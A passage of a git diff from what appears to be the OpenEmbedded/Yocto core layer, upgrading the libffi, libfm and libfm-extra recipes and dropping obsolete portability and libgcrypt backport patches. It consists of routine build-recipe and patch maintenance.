+ install -d ${D}${PTEST_PATH}/testdata
+ install ${S}/test/testdata/* ${D}${PTEST_PATH}/testdata
+}
+
+RDEPENDS:${PN}-ptest += "make bash"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libffi/libffi/0001-Address-platforms-with-no-__int128-part2.patch b/meta/recipes-support/libffi/libffi/0001-Address-platforms-with-no-__int128-part2.patch
deleted file mode 100644
index 6b5b7d4747..0000000000
--- a/meta/recipes-support/libffi/libffi/0001-Address-platforms-with-no-__int128-part2.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-Address platforms with no __int128.
-
-Fixes remaining pieces from
-https://github.com/libffi/libffi/commit/6663047f56c2932a6b10a790f4ac6666dd181326
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
---- a/src/powerpc/ffi_linux64.c.org 2019-12-05 14:48:33.140579431 -0800
-+++ a/src/powerpc/ffi_linux64.c 2019-12-05 14:53:58.827244495 -0800
-@@ -680,9 +680,9 @@ ffi_prep_args64 (extended_cif *ecif, uns
- {
- if (vecarg_count < NUM_VEC_ARG_REGISTERS64
- && i < nfixedargs)
-- *vec_base.f128++ = *arg.f128++;
-+ memcpy (vec_base.f128++, arg.f128, sizeof (float128));
- else
-- *next_arg.f128 = *arg.f128++;
-+ memcpy (next_arg.f128, arg.f128++, sizeof (float128));
- if (++next_arg.f128 == gpr_end.f128)
- next_arg.f128 = rest.f128;
- vecarg_count++;
-@@ -986,9 +986,9 @@ ffi_closure_helper_LINUX64 (ffi_cif *cif
- do
- {
- if (pvec < end_pvec && i < nfixedargs)
-- *to.f128 = *pvec++;
-+ memcpy (to.f128, pvec++, sizeof (float128));
- else
-- *to.f128 = *from.f128;
-+ memcpy (to.f128, from.f128, sizeof (float128));
- to.f128++;
- from.f128++;
- }
diff --git a/meta/recipes-support/libffi/libffi/0001-Address-platforms-with-no-__int128.patch b/meta/recipes-support/libffi/libffi/0001-Address-platforms-with-no-__int128.patch
deleted file mode 100644
index 2e32a50296..0000000000
--- a/meta/recipes-support/libffi/libffi/0001-Address-platforms-with-no-__int128.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From 68f45b9049dffb54f5a29a3a495ab3dfcf010634 Mon Sep 17 00:00:00 2001
-From: Anthony Green <green@moxielogic.com>
-Date: Fri, 29 Nov 2019 07:00:35 -0500
-Subject: [PATCH] Address platforms with no __int128.
-
-Upstream-Status: Backport [https://github.com/libffi/libffi/commit/6663047f56c2932a6b10a790f4ac6666dd181326]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- src/powerpc/ffi_linux64.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/powerpc/ffi_linux64.c b/src/powerpc/ffi_linux64.c
-index de0d033..7364770 100644
---- a/src/powerpc/ffi_linux64.c
-+++ b/src/powerpc/ffi_linux64.c
-@@ -547,9 +547,9 @@ ffi_prep_args64 (extended_cif *ecif, unsigned long *const stack)
- if (next_arg.ul == gpr_end.ul)
- next_arg.ul = rest.ul;
- if (vecarg_count < NUM_VEC_ARG_REGISTERS64 && i < nfixedargs)
-- *vec_base.f128++ = **p_argv.f128;
-+ memcpy (vec_base.f128++, *p_argv.f128, sizeof (float128));
- else
-- *next_arg.f128 = **p_argv.f128;
-+ memcpy (next_arg.f128, *p_argv.f128, sizeof (float128));
- if (++next_arg.f128 == gpr_end.f128)
- next_arg.f128 = rest.f128;
- vecarg_count++;
diff --git a/meta/recipes-support/libffi/libffi/0001-Fixed-missed-ifndef-for-__mips_soft_float.patch b/meta/recipes-support/libffi/libffi/0001-Fixed-missed-ifndef-for-__mips_soft_float.patch
deleted file mode 100644
index 397194bc93..0000000000
--- a/meta/recipes-support/libffi/libffi/0001-Fixed-missed-ifndef-for-__mips_soft_float.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From 14e2e74682db3bfcf057688f738fdd842a02ff2d Mon Sep 17 00:00:00 2001
-From: Carl Hurd <carl@Carls-MacBook-Pro.local>
-Date: Wed, 18 Jul 2018 09:04:32 -0400
-Subject: [PATCH] Fixed missed #ifndef for __mips_soft_float
-
-Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com>
-Upstream-Status: Submitted [https://github.com/libffi/libffi/pull/442]
----
- src/mips/o32.S | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/src/mips/o32.S b/src/mips/o32.S
-index 44e74cb..799139b 100644
---- a/src/mips/o32.S
-+++ b/src/mips/o32.S
-@@ -282,9 +282,11 @@ $LCFI12:
- li $13, 1 # FFI_O32
- bne $16, $13, 1f # Skip fp save if FFI_O32_SOFT_FLOAT
-
-+#ifndef __mips_soft_float
- # Store all possible float/double registers.
- s.d $f12, FA_0_0_OFF2($fp)
- s.d $f14, FA_1_0_OFF2($fp)
-+#endif
- 1:
- # prepare arguments for ffi_closure_mips_inner_O32
- REG_L a0, 4($15) # cif
diff --git a/meta/recipes-support/libffi/libffi/0001-ffi_powerpc.h-fix-build-failure-with-powerpc7.patch b/meta/recipes-support/libffi/libffi/0001-ffi_powerpc.h-fix-build-failure-with-powerpc7.patch
deleted file mode 100644
index 52e6e4536b..0000000000
--- a/meta/recipes-support/libffi/libffi/0001-ffi_powerpc.h-fix-build-failure-with-powerpc7.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From de93adfb6f48100946bba2c3abad2a77a0cfde0b Mon Sep 17 00:00:00 2001
-From: Fabrice Fontaine <fontaine.fabrice@gmail.com>
-Date: Sun, 24 Nov 2019 09:52:01 +0100
-Subject: [PATCH] ffi_powerpc.h: fix build failure with powerpc7
-
-This is a patch pulled down from the following:
-https://github.com/buildroot/buildroot/blob/78926f610b1411b03464152472fd430012deb9ac/package/libffi/0004-ffi_powerpc.h-fix-build-failure-with-powerpc7.patch
-
-This issue is being hit on OpenBMC code when pulling the latest
-libffi tag and building on a P8 ppc64le machine. I verified this
-patch fixes the issue we are seeing.
-
-Below is the original commit message:
-
-Sicne commit 73dd43afc8a447ba98ea02e9aad4c6898dc77fb0, build on powerpc7
-fails on:
-
-In file included from ../src/powerpc/ffi.c:33:0:
-../src/powerpc/ffi_powerpc.h:61:9: error: '_Float128' is not supported on this target
- typedef _Float128 float128;
- ^~~~~~~~~
-
-Fix this build failure by checking for __HAVE_FLOAT128 before using
-_Float128, as _Float128 is enabled only on specific conditions, see
-output/host/powerpc64-buildroot-linux-gnu/sysroot/usr/include/bits/floatn.h:
-
- /* Defined to 1 if the current compiler invocation provides a
- floating-point type with the IEEE 754 binary128 format, and this glibc
- includes corresponding *f128 interfaces for it. */
- #if defined _ARCH_PWR8 && defined __LITTLE_ENDIAN__ && (_CALL_ELF == 2) \
- && defined __FLOAT128__ && !defined __NO_LONG_DOUBLE_MATH
- # define __HAVE_FLOAT128 1
- #else
- # define __HAVE_FLOAT128 0
- #endif
-
-Fixes:
- - http://autobuild.buildroot.org/results/5c9dd8fb3b6a128882b6250f197c80232d8a3b53
-
-Upstream-Status: Submitted [https://github.com/libffi/libffi/pull/561]
-Signed-off-by: Fabrice Fontaine <fontaine.fabrice@gmail.com>
-Signed-off-by: Andrew Geissler <geissonator@yahoo.com>
----
- src/powerpc/ffi_powerpc.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/powerpc/ffi_powerpc.h b/src/powerpc/ffi_powerpc.h
-index 8e2f2f0..960a5c4 100644
---- a/src/powerpc/ffi_powerpc.h
-+++ b/src/powerpc/ffi_powerpc.h
-@@ -57,7 +57,7 @@ typedef union
- double d;
- } ffi_dblfl;
-
--#if defined(__FLOAT128_TYPE__)
-+#if defined(__FLOAT128_TYPE__) && defined(__HAVE_FLOAT128)
- typedef _Float128 float128;
- #elif defined(__FLOAT128__)
- typedef __float128 float128;
---
-2.21.0 (Apple Git-122)
-
diff --git a/meta/recipes-support/libffi/libffi/0001-powerpc-fix-build-failure-on-power7-and-older-532.patch b/meta/recipes-support/libffi/libffi/0001-powerpc-fix-build-failure-on-power7-and-older-532.patch
deleted file mode 100644
index 8a7aea4311..0000000000
--- a/meta/recipes-support/libffi/libffi/0001-powerpc-fix-build-failure-on-power7-and-older-532.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 4dc6cc961300b9deffb648b1237390a5bea1c6d6 Mon Sep 17 00:00:00 2001
-From: Sergei Trofimovich <slyfox@gentoo.org>
-Date: Thu, 28 Nov 2019 12:42:41 +0000
-Subject: [PATCH] powerpc: fix build failure on power7 and older (#532)
-
-Build failure looks as:
-```
-libtool: compile: powerpc-unknown-linux-gnu-gcc \
- -O2 -mcpu=powerpc -mtune=powerpc -pipe ... -c src/powerpc/ffi.c ...
-In file included from src/powerpc/ffi.c:33:
-src/powerpc/ffi_powerpc.h:65:9: error: '__int128' is not supported on this target
- 65 | typedef __int128 float128;
- | ^~~~~~~~
-```
-
-The fix avoids using __int128 in favour of aligned char[16].
-
-Closes: https://github.com/libffi/libffi/issues/531
-Upstream-Status: Backport [https://github.com/libffi/libffi/commit/01a75ed76ea7e57f1b7a5c183e2b1e890e6aa0fd]
-Signed-off-by: Sergei Trofimovich <slyfox@gentoo.org>
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- src/powerpc/ffi_powerpc.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/powerpc/ffi_powerpc.h b/src/powerpc/ffi_powerpc.h
-index 5ee2a70..8e2f2f0 100644
---- a/src/powerpc/ffi_powerpc.h
-+++ b/src/powerpc/ffi_powerpc.h
-@@ -62,7 +62,7 @@ typedef _Float128 float128;
- #elif defined(__FLOAT128__)
- typedef __float128 float128;
- #else
--typedef __int128 float128;
-+typedef char float128[16] __attribute__((aligned(16)));
- #endif
-
- void FFI_HIDDEN ffi_closure_SYSV (void);
diff --git a/meta/recipes-support/libffi/libffi/not-win32.patch b/meta/recipes-support/libffi/libffi/not-win32.patch
index 62daaf4b38..f4ed839ed8 100644
--- a/meta/recipes-support/libffi/libffi/not-win32.patch
+++ b/meta/recipes-support/libffi/libffi/not-win32.patch
@@ -1,4 +1,4 @@
-From 306719369a0d3608b4ff2737de74ae284788a14b Mon Sep 17 00:00:00 2001
+From be9d4cc110c159812699780348686da371296b94 Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@intel.com>
Date: Thu, 4 Feb 2016 16:22:50 +0000
Subject: [PATCH] libffi: ensure sysroot paths are not in libffi.pc
@@ -15,17 +15,16 @@ As this block is generally pointless, disable it.
Upstream-Status: Inappropriate
Signed-off-by: Ross Burton <ross.burton@intel.com>
-
---
configure.ac | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/configure.ac b/configure.ac
-index b764368..d51ce91 100644
+index 816bfd6..e37c5a8 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -354,7 +354,7 @@ AC_ARG_ENABLE(multi-os-directory,
-
+@@ -401,7 +401,7 @@ AC_ARG_ENABLE(multi-os-directory,
+
# These variables are only ever used when we cross-build to X86_WIN32.
# And we only support this with GCC, so...
-if test "x$GCC" = "xyes"; then
diff --git a/meta/recipes-support/libffi/libffi_3.3.bb b/meta/recipes-support/libffi/libffi_3.3.bb
deleted file mode 100644
index e5beb985c6..0000000000
--- a/meta/recipes-support/libffi/libffi_3.3.bb
+++ /dev/null
@@ -1,41 +0,0 @@
-SUMMARY = "A portable foreign function interface library"
-HOMEPAGE = "http://sourceware.org/libffi/"
-DESCRIPTION = "The `libffi' library provides a portable, high level programming interface to various calling \
-conventions. This allows a programmer to call any function specified by a call interface description at run \
-time. FFI stands for Foreign Function Interface. A foreign function interface is the popular name for the \
-interface that allows code written in one language to call code written in another language. The `libffi' \
-library really only provides the lowest, machine dependent layer of a fully featured foreign function interface. \
-A layer must exist above `libffi' that handles type conversions for values passed between the two languages."
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=492385fe22195952f5b9b197868ba268"
-
-SRC_URI = "https://github.com/libffi/libffi/releases/download/v${PV}/${BPN}-${PV}.tar.gz \
- file://not-win32.patch \
- file://0001-Fixed-missed-ifndef-for-__mips_soft_float.patch \
- file://0001-powerpc-fix-build-failure-on-power7-and-older-532.patch \
- file://0001-Address-platforms-with-no-__int128.patch \
- file://0001-Address-platforms-with-no-__int128-part2.patch \
- file://0001-ffi_powerpc.h-fix-build-failure-with-powerpc7.patch \
- "
-SRC_URI[md5sum] = "6313289e32f1d38a9df4770b014a2ca7"
-SRC_URI[sha256sum] = "72fba7922703ddfa7a028d513ac15a85c8d54c8d67f55fa5a4802885dc652056"
-UPSTREAM_CHECK_URI = "https://github.com/libffi/libffi/releases/"
-UPSTREAM_CHECK_REGEX = "libffi-(?P<pver>\d+(\.\d+)+)\.tar"
-
-EXTRA_OECONF += "--disable-builddir"
-EXTRA_OEMAKE_class-target = "LIBTOOLFLAGS='--tag=CC'"
-inherit autotools texinfo multilib_header
-
-do_install_append() {
- oe_multilib_header ffi.h
-}
-
-FILES_${PN}-dev += "${libdir}/libffi-${PV}"
-
-# Doesn't compile in MIPS16e mode due to use of hand-written
-# assembly
-MIPS_INSTRUCTION_SET = "mips"
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-support/libffi/libffi_3.4.6.bb b/meta/recipes-support/libffi/libffi_3.4.6.bb
new file mode 100644
index 0000000000..a6857a3981
--- /dev/null
+++ b/meta/recipes-support/libffi/libffi_3.4.6.bb
@@ -0,0 +1,32 @@
+SUMMARY = "A portable foreign function interface library"
+HOMEPAGE = "http://sourceware.org/libffi/"
+DESCRIPTION = "The `libffi' library provides a portable, high level programming interface to various calling \
+conventions. This allows a programmer to call any function specified by a call interface description at run \
+time. FFI stands for Foreign Function Interface. A foreign function interface is the popular name for the \
+interface that allows code written in one language to call code written in another language. The `libffi' \
+library really only provides the lowest, machine dependent layer of a fully featured foreign function interface. \
+A layer must exist above `libffi' that handles type conversions for values passed between the two languages."
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=1db54c9fd307a12218766c3c7f650ca7"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/${BPN}-${PV}.tar.gz \
+ file://not-win32.patch \
+ "
+SRC_URI[sha256sum] = "b0dea9df23c863a7a50e825440f3ebffabd65df1497108e5d437747843895a4e"
+
+EXTRA_OECONF += "--disable-builddir --disable-exec-static-tramp"
+EXTRA_OECONF:class-native += "--with-gcc-arch=generic"
+EXTRA_OEMAKE:class-target = "LIBTOOLFLAGS='--tag=CC'"
+
+inherit autotools texinfo multilib_header github-releases
+
+do_install:append() {
+ oe_multilib_header ffi.h ffitarget.h
+}
+
+# Doesn't compile in MIPS16e mode due to use of hand-written
+# assembly
+MIPS_INSTRUCTION_SET = "mips"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libfm/libfm-extra_1.3.1.bb b/meta/recipes-support/libfm/libfm-extra_1.3.1.bb
deleted file mode 100644
index 85102a1a3d..0000000000
--- a/meta/recipes-support/libfm/libfm-extra_1.3.1.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "Library for file management"
-HOMEPAGE = "http://pcmanfm.sourceforge.net/"
-
-LICENSE = "LGPLv2+"
-LIC_FILES_CHKSUM = "file://src/fm-extra.h;beginline=8;endline=21;md5=ef1f84da64b3c01cca447212f7ef6007"
-
-SECTION = "x11/libs"
-DEPENDS = "glib-2.0-native glib-2.0 intltool-native"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/pcmanfm/libfm-${PV}.tar.xz \
- file://0001-nls.m4-Take-it-from-gettext-0.15.patch \
- "
-
-SRC_URI[md5sum] = "c15ecd2c9317e2c385cd3f046d0b61ba"
-SRC_URI[sha256sum] = "96b1244bde41ca0eef0332cfb5c67bb16725dfd102128f3e6f74fadc13a1cfe4"
-
-S = "${WORKDIR}/libfm-${PV}"
-
-EXTRA_OECONF = "--with-extra-only --with-gtk=no"
-
-inherit autotools pkgconfig gtk-doc gettext
-
-do_configure[dirs] =+ "${S}/m4"
diff --git a/meta/recipes-support/libfm/libfm-extra_1.3.2.bb b/meta/recipes-support/libfm/libfm-extra_1.3.2.bb
new file mode 100644
index 0000000000..79dd1d92dc
--- /dev/null
+++ b/meta/recipes-support/libfm/libfm-extra_1.3.2.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Library for file management"
+DESCRIPTION = "Contains a library and other files required by menu-cache-gen libexec of menu-cache-1.1.0. "
+HOMEPAGE = "http://pcmanfm.sourceforge.net/"
+
+LICENSE = "LGPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://src/fm-extra.h;beginline=8;endline=21;md5=ef1f84da64b3c01cca447212f7ef6007"
+
+SECTION = "x11/libs"
+DEPENDS = "glib-2.0-native glib-2.0 intltool-native"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/pcmanfm/libfm-${PV}.tar.xz \
+ file://0001-nls.m4-Take-it-from-gettext-0.15.patch \
+ "
+
+SRC_URI[sha256sum] = "a5042630304cf8e5d8cff9d565c6bd546f228b48c960153ed366a34e87cad1e5"
+
+S = "${WORKDIR}/libfm-${PV}"
+
+EXTRA_OECONF = "--with-extra-only --with-gtk=no"
+
+inherit autotools pkgconfig gtk-doc gettext
+
+do_configure[dirs] =+ "${S}/m4"
diff --git a/meta/recipes-support/libfm/libfm/0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch b/meta/recipes-support/libfm/libfm/0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch
index fb91d90cf2..701b259cf9 100644
--- a/meta/recipes-support/libfm/libfm/0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch
+++ b/meta/recipes-support/libfm/libfm/0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch
@@ -4,7 +4,7 @@ Date: Fri, 16 Dec 2016 16:52:04 +0200
Subject: [PATCH] Correctly check the stamp file that indicates if we need to
re-build vala code
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/lxde/libfm/pull/85]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
configure.ac | 2 +-
diff --git a/meta/recipes-support/libfm/libfm/0001-Do-not-add-library-path-to-avoid-host-contamination.patch b/meta/recipes-support/libfm/libfm/0001-Do-not-add-library-path-to-avoid-host-contamination.patch
index f4c89127fc..0437000adc 100644
--- a/meta/recipes-support/libfm/libfm/0001-Do-not-add-library-path-to-avoid-host-contamination.patch
+++ b/meta/recipes-support/libfm/libfm/0001-Do-not-add-library-path-to-avoid-host-contamination.patch
@@ -3,7 +3,7 @@ From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Wed, 2 May 2018 16:48:47 +0300
Subject: [PATCH] Do not add library path to avoid host contamination
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/lxde/libfm/pull/86]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
src/modules/Makefile.am | 1 -
diff --git a/meta/recipes-support/libfm/libfm_1.3.1.bb b/meta/recipes-support/libfm/libfm_1.3.1.bb
deleted file mode 100644
index 63ae7874b9..0000000000
--- a/meta/recipes-support/libfm/libfm_1.3.1.bb
+++ /dev/null
@@ -1,54 +0,0 @@
-SUMMARY = "Library for file management"
-HOMEPAGE = "http://pcmanfm.sourceforge.net/"
-
-LICENSE = "GPLv2+ & LGPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4641e94ec96f98fabc56ff9cc48be14b \
- file://src/fm.h;beginline=8;endline=21;md5=ef1f84da64b3c01cca447212f7ef6007 \
- file://src/base/fm-config.h;beginline=10;endline=23;md5=ef1f84da64b3c01cca447212f7ef6007 \
- file://src/fm-gtk.h;beginline=6;endline=19;md5=646baa4955c04fe768f2ca27b92ac8dd"
-
-
-SECTION = "x11/libs"
-DEPENDS = "glib-2.0 glib-2.0-native pango gtk+3 menu-cache intltool-native libexif libfm-extra"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/pcmanfm/libfm-${PV}.tar.xz \
- file://0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch \
- file://0001-Do-not-add-library-path-to-avoid-host-contamination.patch \
- "
-
-SRC_URI[md5sum] = "c15ecd2c9317e2c385cd3f046d0b61ba"
-SRC_URI[sha256sum] = "96b1244bde41ca0eef0332cfb5c67bb16725dfd102128f3e6f74fadc13a1cfe4"
-
-inherit autotools pkgconfig gtk-doc gettext features_check mime mime-xdg
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-
-EXTRA_OECONF = "--with-gtk=3"
-
-do_configure[dirs] =+ "${S}/m4"
-
-PACKAGES =+ "libfm-gtk"
-PACKAGES += "${PN}-mime"
-FILES_libfm-gtk = " \
- ${libdir}/libfm-gtk*so.* \
- ${libdir}/libfm/modules/gtk* \
- ${bindir}/libfm-pref-apps \
- ${bindir}/lxshortcut \
- ${datadir}/applications/libfm-pref-apps.desktop \
- ${datadir}/applications/lxshortcut.desktop \
- ${datadir}/libfm/images/folder.png \
- ${datadir}/libfm/images/unknown.png \
- ${datadir}/libfm/ui/*.ui \
-"
-FILES_${PN}-mime = "${datadir}/mime/"
-
-do_install_append () {
- # remove files which are part of libfm-extra
- rm -f ${D}${includedir}/libfm-1.0/fm-xml-file.h
- rm -f ${D}${includedir}/libfm-1.0/fm-version.h
- rm -f ${D}${includedir}/libfm-1.0/fm-extra.h
- rm -f ${D}${includedir}/libfm
- rm -f ${D}${libdir}/pkgconfig/libfm-extra.pc
- rm -f ${D}${libdir}/libfm-extra.so*
- rm -f ${D}${libdir}/libfm-extra.a
- rm -f ${D}${libdir}/libfm-extra.la
-}
diff --git a/meta/recipes-support/libfm/libfm_1.3.2.bb b/meta/recipes-support/libfm/libfm_1.3.2.bb
new file mode 100644
index 0000000000..057c737029
--- /dev/null
+++ b/meta/recipes-support/libfm/libfm_1.3.2.bb
@@ -0,0 +1,55 @@
+SUMMARY = "Library for file management"
+DESCRIPTION = "LibFM provides file management functions built on top of Glib/GIO \
+giving a convenient higher-level API."
+HOMEPAGE = "http://pcmanfm.sourceforge.net/"
+
+LICENSE = "GPL-2.0-or-later & LGPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4641e94ec96f98fabc56ff9cc48be14b \
+ file://src/fm.h;beginline=8;endline=21;md5=ef1f84da64b3c01cca447212f7ef6007 \
+ file://src/base/fm-config.h;beginline=10;endline=23;md5=ef1f84da64b3c01cca447212f7ef6007 \
+ file://src/fm-gtk.h;beginline=6;endline=19;md5=646baa4955c04fe768f2ca27b92ac8dd"
+
+
+SECTION = "x11/libs"
+DEPENDS = "glib-2.0 glib-2.0-native pango gtk+3 menu-cache intltool-native libexif libfm-extra"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/pcmanfm/libfm-${PV}.tar.xz \
+ file://0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch \
+ file://0001-Do-not-add-library-path-to-avoid-host-contamination.patch \
+ "
+
+SRC_URI[sha256sum] = "a5042630304cf8e5d8cff9d565c6bd546f228b48c960153ed366a34e87cad1e5"
+
+inherit autotools pkgconfig gtk-doc gettext features_check mime mime-xdg
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+
+EXTRA_OECONF = "--with-gtk=3"
+
+do_configure[dirs] =+ "${S}/m4"
+
+PACKAGES =+ "libfm-gtk"
+PACKAGES += "${PN}-mime"
+FILES:libfm-gtk = " \
+ ${libdir}/libfm-gtk*so.* \
+ ${libdir}/libfm/modules/gtk* \
+ ${bindir}/libfm-pref-apps \
+ ${bindir}/lxshortcut \
+ ${datadir}/applications/libfm-pref-apps.desktop \
+ ${datadir}/applications/lxshortcut.desktop \
+ ${datadir}/libfm/images/folder.png \
+ ${datadir}/libfm/images/unknown.png \
+ ${datadir}/libfm/ui/*.ui \
+"
+FILES:${PN}-mime = "${datadir}/mime/"
+
+do_install:append () {
+ # remove files which are part of libfm-extra
+ rm -f ${D}${includedir}/libfm-1.0/fm-xml-file.h
+ rm -f ${D}${includedir}/libfm-1.0/fm-version.h
+ rm -f ${D}${includedir}/libfm-1.0/fm-extra.h
+ rm -f ${D}${includedir}/libfm
+ rm -f ${D}${libdir}/pkgconfig/libfm-extra.pc
+ rm -f ${D}${libdir}/libfm-extra.so*
+ rm -f ${D}${libdir}/libfm-extra.a
+ rm -f ${D}${libdir}/libfm-extra.la
+}
diff --git a/meta/recipes-support/libgcrypt/files/0001-Prefetch-GCM-look-up-tables.patch b/meta/recipes-support/libgcrypt/files/0001-Prefetch-GCM-look-up-tables.patch
deleted file mode 100644
index 4df96f0011..0000000000
--- a/meta/recipes-support/libgcrypt/files/0001-Prefetch-GCM-look-up-tables.patch
+++ /dev/null
@@ -1,90 +0,0 @@
-From 1374254c2904ab5b18ba4a890856824a102d4705 Mon Sep 17 00:00:00 2001
-From: Jussi Kivilinna <jussi.kivilinna@iki.fi>
-Date: Sat, 27 Apr 2019 19:33:28 +0300
-Subject: [PATCH 1/3] Prefetch GCM look-up tables
-
-* cipher/cipher-gcm.c (prefetch_table, do_prefetch_tables)
-(prefetch_tables): New.
-(ghash_internal): Call prefetch_tables.
---
-
-Signed-off-by: Jussi Kivilinna <jussi.kivilinna@iki.fi>
-
-Upstream-Status: Backport
-[https://github.com/gpg/libgcrypt/commit/1374254c2904ab5b18ba4a890856824a102d4705]
-
-CVE: CVE-2019-12904
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- cipher/cipher-gcm.c | 33 +++++++++++++++++++++++++++++++++
- 1 file changed, 33 insertions(+)
-
-diff --git a/cipher/cipher-gcm.c b/cipher/cipher-gcm.c
-index c19f09f..11f119a 100644
---- a/cipher/cipher-gcm.c
-+++ b/cipher/cipher-gcm.c
-@@ -118,6 +118,34 @@ static const u16 gcmR[256] = {
- 0xbbf0, 0xba32, 0xb874, 0xb9b6, 0xbcf8, 0xbd3a, 0xbf7c, 0xbebe,
- };
-
-+static inline
-+void prefetch_table(const void *tab, size_t len)
-+{
-+ const volatile byte *vtab = tab;
-+ size_t i;
-+
-+ for (i = 0; i < len; i += 8 * 32)
-+ {
-+ (void)vtab[i + 0 * 32];
-+ (void)vtab[i + 1 * 32];
-+ (void)vtab[i + 2 * 32];
-+ (void)vtab[i + 3 * 32];
-+ (void)vtab[i + 4 * 32];
-+ (void)vtab[i + 5 * 32];
-+ (void)vtab[i + 6 * 32];
-+ (void)vtab[i + 7 * 32];
-+ }
-+
-+ (void)vtab[len - 1];
-+}
-+
-+static inline void
-+do_prefetch_tables (const void *gcmM, size_t gcmM_size)
-+{
-+ prefetch_table(gcmM, gcmM_size);
-+ prefetch_table(gcmR, sizeof(gcmR));
-+}
-+
- #ifdef GCM_TABLES_USE_U64
- static void
- bshift (u64 * b0, u64 * b1)
-@@ -365,6 +393,8 @@ do_ghash (unsigned char *result, const unsigned char *buf, const u32 *gcmM)
- #define fillM(c) \
- do_fillM (c->u_mode.gcm.u_ghash_key.key, c->u_mode.gcm.gcm_table)
- #define GHASH(c, result, buf) do_ghash (result, buf, c->u_mode.gcm.gcm_table)
-+#define prefetch_tables(c) \
-+ do_prefetch_tables(c->u_mode.gcm.gcm_table, sizeof(c->u_mode.gcm.gcm_table))
-
- #else
-
-@@ -430,6 +460,7 @@ do_ghash (unsigned char *hsub, unsigned char *result, const unsigned char *buf)
-
- #define fillM(c) do { } while (0)
- #define GHASH(c, result, buf) do_ghash (c->u_mode.gcm.u_ghash_key.key, result, buf)
-+#define prefetch_tables(c) do {} while (0)
-
- #endif /* !GCM_USE_TABLES */
-
-@@ -441,6 +472,8 @@ ghash_internal (gcry_cipher_hd_t c, byte *result, const byte *buf,
- const unsigned int blocksize = GCRY_GCM_BLOCK_LEN;
- unsigned int burn = 0;
-
-+ prefetch_tables (c);
-+
- while (nblocks)
- {
- burn = GHASH (c, result, buf);
---
-2.7.4
-
diff --git a/meta/recipes-support/libgcrypt/files/0001-libgcrypt-fix-m4-file-for-oe-core.patch b/meta/recipes-support/libgcrypt/files/0001-libgcrypt-fix-m4-file-for-oe-core.patch
index cd8a5993b4..cbfa30f0ad 100644
--- a/meta/recipes-support/libgcrypt/files/0001-libgcrypt-fix-m4-file-for-oe-core.patch
+++ b/meta/recipes-support/libgcrypt/files/0001-libgcrypt-fix-m4-file-for-oe-core.patch
@@ -1,4 +1,4 @@
-From bee26d7c4ea0b4a397c289b819b89e78bc325ba0 Mon Sep 17 00:00:00 2001
+From bcfd89abdb5110b93314297120412d4c7f2da313 Mon Sep 17 00:00:00 2001
From: Trevor Gamblin <trevor.gamblin@windriver.com>
Date: Tue, 29 Oct 2019 14:08:32 -0400
Subject: [PATCH] libgcrypt: fix m4 file for oe-core
@@ -17,7 +17,7 @@ Signed-off-by: Trevor Gamblin <trevor.gamblin@windriver.com>
1 file changed, 4 insertions(+), 86 deletions(-)
diff --git a/src/libgcrypt.m4 b/src/libgcrypt.m4
-index 37dfbea2..3d2e90a8 100644
+index cd4249e..e53a36f 100644
--- a/src/libgcrypt.m4
+++ b/src/libgcrypt.m4
@@ -29,41 +29,6 @@ dnl is added to the gpg_config_script_warn variable.
@@ -25,7 +25,7 @@ index 37dfbea2..3d2e90a8 100644
AC_DEFUN([AM_PATH_LIBGCRYPT],
[ AC_REQUIRE([AC_CANONICAL_HOST])
- AC_ARG_WITH(libgcrypt-prefix,
-- AC_HELP_STRING([--with-libgcrypt-prefix=PFX],
+- AS_HELP_STRING([--with-libgcrypt-prefix=PFX],
- [prefix where LIBGCRYPT is installed (optional)]),
- libgcrypt_config_prefix="$withval", libgcrypt_config_prefix="")
- if test x"${LIBGCRYPT_CONFIG}" = x ; then
